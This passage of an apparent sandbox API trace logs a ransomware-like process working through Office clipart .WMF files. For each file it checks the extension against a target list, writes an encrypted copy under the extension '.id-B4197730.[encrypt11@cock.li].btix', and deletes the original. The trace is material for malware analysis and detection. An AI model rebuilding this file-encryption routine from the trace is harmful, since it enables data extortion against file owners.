[0148.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0148.112] lstrlenW (lpString=".zip") returned 4 [0148.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.112] lstrlenW (lpString=".rar") returned 4 [0148.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.112] lstrlenW (lpString=".bz2") returned 4 [0148.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.112] lstrlenW (lpString=".7z") returned 3 [0148.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0148.112] lstrlenW (lpString=".dbf") returned 4 [0148.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0148.112] lstrlenW (lpString=".1cd") returned 4 [0148.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0148.112] lstrlenW (lpString=".jpg") returned 4 [0148.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.112] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.113] lstrlenW (lpString="HH02155_.WMF") returned 12 [0148.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.113] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=2704) returned 1 [0148.113] CloseHandle (hObject=0x37c) returned 1 [0148.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x220 [0148.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.113] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.113] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.114] GetLastError () returned 0x0 [0148.114] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xa90, lpOverlapped=0x0) returned 1 [0148.114] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xaa0, lpOverlapped=0x0) returned 1 [0148.116] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.116] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.116] SetEndOfFile (hFile=0x380) returned 1 [0148.116] CloseHandle (hObject=0x380) returned 1 [0148.116] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.116] SetEndOfFile (hFile=0x37c) returned 1 [0148.117] CloseHandle (hObject=0x37c) returned 1 [0148.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0148.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0148.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0148.118] lstrlenW (lpString=".doc") returned 4 [0148.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.118] lstrlenW (lpString=".docx") returned 5 [0148.118] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.118] lstrlenW (lpString=".pdf") returned 4 [0148.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.118] lstrlenW (lpString=".xls") returned 4 [0148.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.118] lstrlenW (lpString=".xlsx") returned 5 [0148.118] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.118] lstrlenW (lpString=".ppt") returned 4 [0148.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0148.118] lstrlenW (lpString=".zip") returned 4 [0148.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.118] lstrlenW (lpString=".rar") returned 4 [0148.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.118] lstrlenW (lpString=".bz2") returned 4 [0148.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.118] lstrlenW (lpString=".7z") returned 3 [0148.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0148.118] lstrlenW (lpString=".dbf") returned 4 [0148.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0148.118] lstrlenW (lpString=".1cd") returned 4 [0148.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0148.118] lstrlenW (lpString=".jpg") returned 4 [0148.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0148.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0148.119] lstrlenW (lpString=".doc") returned 4 [0148.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.119] lstrlenW (lpString=".docx") returned 5 [0148.119] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.119] lstrlenW (lpString=".pdf") returned 4 [0148.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.119] lstrlenW (lpString=".xls") returned 4 [0148.119] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.119] lstrlenW (lpString=".xlsx") returned 5 [0148.119] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.119] lstrlenW (lpString=".ppt") returned 4 [0148.119] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0148.119] lstrlenW (lpString=".zip") returned 4 [0148.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.119] lstrlenW (lpString=".rar") returned 4 [0148.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.119] lstrlenW (lpString=".bz2") returned 4 [0148.119] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.119] lstrlenW (lpString=".7z") returned 3 [0148.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0148.119] lstrlenW (lpString=".dbf") returned 4 [0148.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0148.119] lstrlenW (lpString=".1cd") returned 4 [0148.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0148.119] lstrlenW (lpString=".jpg") returned 4 [0148.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.120] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.120] lstrlenW (lpString="HH02166_.WMF") returned 12 [0148.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.120] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=1324) returned 1 [0148.120] CloseHandle (hObject=0x37c) returned 1 [0148.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x220 [0148.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.120] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.120] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.121] GetLastError () returned 0x0 [0148.121] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x52c, lpOverlapped=0x0) returned 1 [0148.122] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x530, lpOverlapped=0x0) returned 1 [0148.123] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.123] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.123] SetEndOfFile (hFile=0x380) returned 1 [0148.123] CloseHandle (hObject=0x380) returned 1 [0148.123] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.123] SetEndOfFile (hFile=0x37c) returned 1 [0148.124] CloseHandle (hObject=0x37c) returned 1 [0148.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0148.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0148.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0148.124] lstrlenW (lpString=".doc") returned 4 [0148.125] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.125] lstrlenW (lpString=".docx") returned 5 [0148.125] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.125] lstrlenW (lpString=".pdf") returned 4 [0148.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.125] lstrlenW (lpString=".xls") returned 4 [0148.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.125] lstrlenW (lpString=".xlsx") returned 5 [0148.125] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.125] lstrlenW (lpString=".ppt") returned 4 [0148.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0148.125] lstrlenW (lpString=".zip") returned 4 [0148.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.125] lstrlenW (lpString=".rar") returned 4 [0148.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.125] lstrlenW (lpString=".bz2") returned 4 [0148.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.125] lstrlenW (lpString=".7z") returned 3 [0148.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0148.125] lstrlenW (lpString=".dbf") returned 4 [0148.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0148.125] lstrlenW (lpString=".1cd") returned 4 [0148.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0148.125] lstrlenW (lpString=".jpg") returned 4 [0148.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0148.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0148.125] lstrlenW (lpString=".doc") returned 4 [0148.125] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.125] lstrlenW (lpString=".docx") returned 5 [0148.126] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.126] lstrlenW (lpString=".pdf") returned 4 [0148.126] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.126] lstrlenW (lpString=".xls") returned 4 [0148.126] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.126] lstrlenW (lpString=".xlsx") returned 5 [0148.126] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.126] lstrlenW (lpString=".ppt") returned 4 [0148.126] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0148.126] lstrlenW (lpString=".zip") returned 4 [0148.126] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.126] lstrlenW (lpString=".rar") returned 4 [0148.126] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.126] lstrlenW (lpString=".bz2") returned 4 [0148.126] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.126] lstrlenW (lpString=".7z") returned 3 [0148.126] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0148.126] lstrlenW (lpString=".dbf") returned 4 [0148.126] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0148.126] lstrlenW (lpString=".1cd") returned 4 [0148.126] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0148.126] lstrlenW (lpString=".jpg") returned 4 [0148.126] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.126] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.126] lstrlenW (lpString="HH02282_.WMF") returned 12 [0148.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.127] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=7932) returned 1 [0148.127] CloseHandle (hObject=0x37c) returned 1 [0148.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x220 [0148.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.127] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.127] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.128] GetLastError () returned 0x0 [0148.128] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1efc, lpOverlapped=0x0) returned 1 [0148.447] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1f00, lpOverlapped=0x0) returned 1 [0148.447] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.448] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.448] SetEndOfFile (hFile=0x380) returned 1 [0148.448] CloseHandle (hObject=0x380) returned 1 [0148.448] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.448] SetEndOfFile (hFile=0x37c) returned 1 [0148.449] CloseHandle (hObject=0x37c) returned 1 [0148.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0148.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0148.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0148.449] lstrlenW (lpString=".doc") returned 4 [0148.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.449] lstrlenW (lpString=".docx") returned 5 [0148.449] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.449] lstrlenW (lpString=".pdf") returned 4 [0148.449] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.449] lstrlenW (lpString=".xls") returned 4 [0148.449] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.449] lstrlenW (lpString=".xlsx") returned 5 [0148.449] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.449] lstrlenW (lpString=".ppt") returned 4 [0148.449] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0148.449] lstrlenW (lpString=".zip") returned 4 [0148.449] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.450] lstrlenW (lpString=".rar") returned 4 [0148.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.450] lstrlenW (lpString=".bz2") returned 4 [0148.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.450] lstrlenW (lpString=".7z") returned 3 [0148.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0148.450] lstrlenW (lpString=".dbf") returned 4 [0148.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0148.450] lstrlenW (lpString=".1cd") returned 4 [0148.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0148.450] lstrlenW (lpString=".jpg") returned 4 [0148.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0148.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0148.450] lstrlenW (lpString=".doc") returned 4 [0148.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.450] lstrlenW (lpString=".docx") returned 5 [0148.450] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.450] lstrlenW (lpString=".pdf") returned 4 [0148.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.450] lstrlenW (lpString=".xls") returned 4 [0148.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.450] lstrlenW (lpString=".xlsx") returned 5 [0148.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.450] lstrlenW (lpString=".ppt") returned 4 [0148.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0148.450] lstrlenW (lpString=".zip") returned 4 [0148.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.450] lstrlenW (lpString=".rar") returned 4 [0148.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.450] lstrlenW (lpString=".bz2") returned 4 [0148.451] lstrcmpiW (lpString1=".bz2", 